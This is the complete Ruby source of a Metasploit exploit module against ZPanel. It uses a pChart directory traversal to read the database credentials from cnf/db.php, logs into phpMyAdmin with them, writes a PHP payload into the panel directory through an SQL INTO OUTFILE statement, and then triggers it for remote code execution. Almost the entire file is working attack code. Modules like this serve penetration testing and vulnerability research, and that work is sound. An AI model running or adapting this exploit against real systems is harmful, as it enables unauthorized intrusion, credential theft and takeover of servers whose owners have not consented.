##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'nokogiri'
require 'uri'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Zpanel Remote Unauthenticated RCE',
      'Description'    => %q{
        This module exploits an information disclosure vulnerability
        in ZPanel. The vulnerability is due to a vulnerable version
        of pChart used by ZPanel that allows unauthenticated users to read
        arbitrary files remotely on the file system. This particular module
        utilizes this vulnerability to identify the username/password
        combination of the MySQL instance. With the
        credentials the attackers can login to PHPMyAdmin and execute
        SQL commands to drop a malicious payload on the filesystem and
        call it leading to remote code execution.
      },
      'Author' =>
        [
          'Balazs Makany',      # pChart vuln discovery
          'Jose Antonio Perez', # Found vulnerable version of pChart on ZPanel
          'dawn isabel',
          'brad wolfe',
          'brent morris',
          'james fitts'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'EDB', '31173' ],    # vulnerable version of pChart used by zpanel
          [ 'OSVDB', '102595' ], # vulnerable version of pChart used by zpanel
          [ 'URL', 'http://blog.0xlabs.com/2014/03/zpanel-10.1.x-remote-root.html' ],
          [ 'URL', 'http://pastebin.com/y5Pf4Yms' ]
        ],
      'Payload' =>
        {
          'BadChars' => "\x00",
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2014-01-30'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])
      ])
  end

  def get_setting(res, setting_name)
    n = ::Nokogiri::HTML(res.body)
    spans = n.search('//code//span//span')
    found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first
    val = found_element.next.next.text
    val.scan(/['"]([[:print:]]+)['"]/).flatten.first || ''
  end

  def get_user(res)
    get_setting(res, 'user')
  end

  def get_passwd(res)
    get_setting(res, 'pass')
  end

  def get_dbname(res)
    get_setting(res, 'dbname')
  end

  def dot_dot_slash(uri)
    res = send_request_cgi({
      'method' =>'GET',
      'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'),
      'vars_get' => {
        'Action' => 'View',
        'Script' => '../../../../cnf/db.php'
      }
    })

    uname  = get_user(res)
    passwd = get_passwd(res)
    dbname = get_dbname(res)

    return uname, passwd, dbname
  end

  def get_token_from_form(res)
    hidden_inputs = res.get_hidden_inputs
    hidden_inputs.first['token']
  end

  def get_token_from_url(url)
    u = URI(url)
    u.query.split('&').each do |param|
      param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten
      return param_value if param_name == 'token'
    end

    ''
  end

  def grab_sess_and_token(uri)
    print_status('Attempting to get PHPSESSIONID')
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri("#{uri}"),
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID')
    end

    cookies = res.get_cookies
    sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''

    if sid.length > 0
      print_good('PHPSESSID identified!')
      print_good("PHPSESSID = #{sid.split("=")[1]}")

      print_status('Attempting to get CSRF token')
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'),
        'Cookie' => "#{sid}"
      })

      unless res
        fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token')
      end

      token = get_token_from_form(res)
      cookies = res.get_cookies

      cookies = cookies.split('; ')
      cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}"

      if token.length > 0
        print_good('CSRF token identified!')
        print_good("CSRF token = #{token}")
        return cookies, token, sid
      else
        print_error('CSRF token could not be identified...')
      end
    else
      print_error('PHPSESSID could not be identified...')
    end
  end

  def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
    old_cookies = cookies

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
      'cookie' => cookies,
      'ctype'  => 'application/x-www-form-urlencoded',
      'headers'=>
        {
          'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
        },
      'vars_post' => {
        'pma_username'         => uname,
        'pma_password'         => passwd,
        'server'               => '1',
        'lang'                 => 'en',
        'collation_connection' => 'utf8_general_ci',
        'token'                => token
      }
    })

    cookies = "#{res.get_cookies}"

    old_cookies = old_cookies.split("; ")
    cookies = cookies.split("; ")

    new_cookies =  "#{old_cookies[0]}; "
    new_cookies << "#{old_cookies[1]}; "
    new_cookies << "#{old_cookies[2]}; "
    new_cookies << "#{old_cookies[3]}; "
    new_cookies << "#{cookies[0]}; "
    new_cookies << "#{cookies[1]} "
    new_cookies << "#{sess_id}"

    token = get_token_from_url(res['Location'])

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
      'Referer'  => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
      'cookie'   => new_cookies,
      'vars_get' => {
        'token' => token
      }
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin')
    end

    if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
      print_good('PHPMyAdmin Login Successful')
      return new_cookies, token
    end
  end

  def do_sql(cookies, token, uri)
    fname = "#{rand_text_alpha_upper(5)}.php"
    sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\""

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'),
      'cookie' => cookies,
      'ctype'  =>'application/x-www-form-urlencoded; charset=UTF-8',
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest',
        'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"
      },
      'vars_post' => {
        'is_js_confirmed' => '0',
        'token'           => token,
        'pos'             => '0',
        'goto'            => 'server_sql.php',
        'message_to_show' => 'Your+SQL+query+has+been+executed+successfully',
        'prev_sql_query'  => '',
        'sql_query'       => sql_stmt,
        'sql_delimiter'   => ';',
        'show_query'      => '1',
        'ajax_request'    => 'true',
        '_nocache'        => rand.to_s[2..19].to_i
      }
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload')
    end

    if res.body =~ /"success":true/
      print_good("'#{fname}' successfully uploaded")
      print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'")
      print_status("Executing '#{fname}' on the remote host")

      res = send_request_cgi({
        'method'=>'GET',
        'uri'=>normalize_uri("#{uri}", "#{fname}")
      })
    else
      print_error("#{res.body.to_s}")
    end
  end

  def exploit
    # Checking pChart
    res = send_request_cgi({
      'method'=> 'GET',
      'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php')
    })

    # if pChart is vuln version
    if res.body =~ /pChart 2\.x/
      uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}")
      if uname.length > 0 && passwd.length > 0
        print_good('Directory traversal successful, Username/Password identified!')
        print_good("Username: #{uname}")
        print_good("Password: #{passwd}")
        print_good("DB Name: #{db_name}")
        cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}")
        print_status('Logging into PHPMyAdmin now')
        cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id)
        print_status('Uploading malicious payload now')
        do_sql(cookies, token, "#{datastore['URI']}")
      else
        print_error('It appears that the directory traversal was unsuccessful...')
      end
    else
      print_error("It appears that the version of pChart is not vulnerable...")
    end
  end
end
